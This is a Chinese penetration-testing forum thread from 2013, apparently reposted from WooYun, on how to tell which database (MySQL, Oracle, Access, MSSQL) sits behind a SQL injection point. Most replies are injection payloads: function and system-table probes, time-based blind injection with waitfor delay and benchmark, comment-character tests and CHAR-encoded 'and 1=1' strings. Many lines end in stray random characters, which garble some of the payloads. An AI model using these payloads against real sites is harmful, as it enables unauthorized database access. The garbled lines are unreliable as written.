中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库( G8 m& y$ H0 A/ h; P; f
xsser (十根阳具有长短!!) | 2013-02-05 12:36
& ]! w) ^1 j' h; X! g! e假设这么一个注射点:
" X3 \3 ?) P& I* @show.html?id=2
2 K1 Q+ P5 Y: P' g& l7 bmysql:id=2 and version()>0& w0 g9 x9 t/ m3 t8 n4 A
oracle:id=2 and '1'||'1'='11/ n2 B1 G" ~# [( J% B
其他的欢迎补充0 l( J0 o5 P- ^
1#
% o3 r9 w% ~' [) Y  n( a; e! cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47- {7 G! k* o2 R. T8 D
Access:1 A+ r3 e1 I0 n( ?1 r/ L
aNd aSc(cHr(97))=97
/ }5 s! j. G- X& z& t- [: `and exists(select id from MSysAccessObjects)
; Q/ j  r7 I& y& C0 L+ VSQL Server:) B8 @5 y( o7 ~+ b3 I$ O4 W
and exists(select id from sysobjects)
7 h3 c( G& ]- w8 s7 }' f7 Jand length(user)>0! ?$ K7 g( A7 d0 x
MySQL:
1 T" y" B7 B1 s* M6 Z. Z) jand length(user())>0
2 F. f% }% f$ {& T* i) w" c  K; d/ [2#  x3 ~! e& t7 v/ q0 ^5 a* t
xsser (十根阳具有长短!!) | 2013-02-05 12:48
8 c# g" b( v6 d@upload 如果这些都不是呢…$ P$ `4 v) Z: A" c4 A
3#
1 A, j8 U5 s3 B! Z5 Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03! {. |" P, k( b" T) j
@xsser 不快速的,延时注入
& d& b* f, \+ j+ P3 d) n, ~不知道这样写对不对2 ~/ ]& `/ `1 y. I, k% u4 G8 S% U* _
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'8 g8 `1 R( C- I+ X) h2 a7 y4 G
mysql:id=2 and select benchmark(1e8,current_date());: `% K2 \: y. D9 Y) a
4#0 s4 k! _5 d" z1 I4 t9 Q  S9 u7 S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! n1 ?2 M; o+ C最快的貌似是看报错信息
' @/ {( J' B0 D/ l/ k& D2 s' Y! Woracle error) ]% ?/ |7 e! Y; ^' p- p
mssql error
, e; C( d+ d6 G- y9 T$ bmysql error7 a# O. d( o2 u, t* G2 `6 j, a0 y
5#  ~( c  `8 R0 |# j2 J
Nimda (你们都是坏银~) | 2013-02-05 13:14
2 c6 L0 y9 G1 z* V& U小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
4 o8 G& d3 j( I0 I- C! F& ^. k5 N. A6#
- Q+ A, O; c# E# H! V0 supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21: U, }, T4 q8 v+ C' {  ?, d
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:. a; S3 q& m4 y- A2 y& R: C! B
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# j& T! T* V+ [0 N( M  C“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。  h. ~" G1 d0 s9 l, F5 P' q
7#
/ z& s, u, o8 q_Evil (HackEnd) | 2013-02-05 13:33$ [) W+ f( O) K$ s
PostgreSQL2 x6 H$ w" S; O$ T" c; C7 U
8#8 X; O! M+ T8 u3 o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:426 ~8 h/ M$ D: C+ G4 l2 J
切换编码 and 1=1
' x! w8 k: O% N  \& v  ~oracle:
. k& ]: K4 [( [# ^' b; T# c% PCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
8 u* Q/ Z5 O- M, A8 k5 ~5 N, smssql:( V1 G2 o; e; Q! R
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
& E4 v8 P( c8 t6 z& ^: a8 n5 j( H. fmysql:
: x$ j6 s% p2 O6 X) F9 cCHAR(97, 110, 100, 32, 49, 61, 49)* z3 M, J6 t# ]1 w8 u5 G
9#
4 H% n7 @/ [8 W8 ixsser (十根阳具有长短!!) | 2013-02-05 14:317 F- X, \$ U1 z9 C9 V- C; Z
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?. B- G- {2 x: S
10#9 j6 _5 r$ e' G8 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:462 y1 x5 @- p( G2 J0 J7 P. F
@xsser 是奇葩数据库类型的么?
9 H; k2 T' v) U根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
& L0 D  U" T3 s0 Q6 O/ X' ~7 T) l1.是否可以使用特定的函数来判断,该数据库特有的; q- N8 F( ]& {7 L
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等3 n/ X. j! O( T& I8 @
3.是否可以编码查询
+ Z, Q- `% t' ^- C4 H5 Z4.是否显可以利用错信息
/ e/ {, ^9 u6 ?: Q/ ~. k- H5.是否存在数据库某些特性辅助判断
( K) s0 `2 B% {/ B7 z个人见解0 _9 P% O: {7 C9 w2 Q9 H- r
11#
5 ]! i+ }9 |  d* d/ J小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
  v; q3 i& w" K) a" K已收藏,mssql可以直接看到错误提示的吧~; W4 j' D. K! x
12#
( w, \6 x* W. ?, X3 l: N5 yPasser_by | 2013-02-05 15:091 Y  H, z5 t% I7 Q# U! I
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ `- O5 r& m  P0 }from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2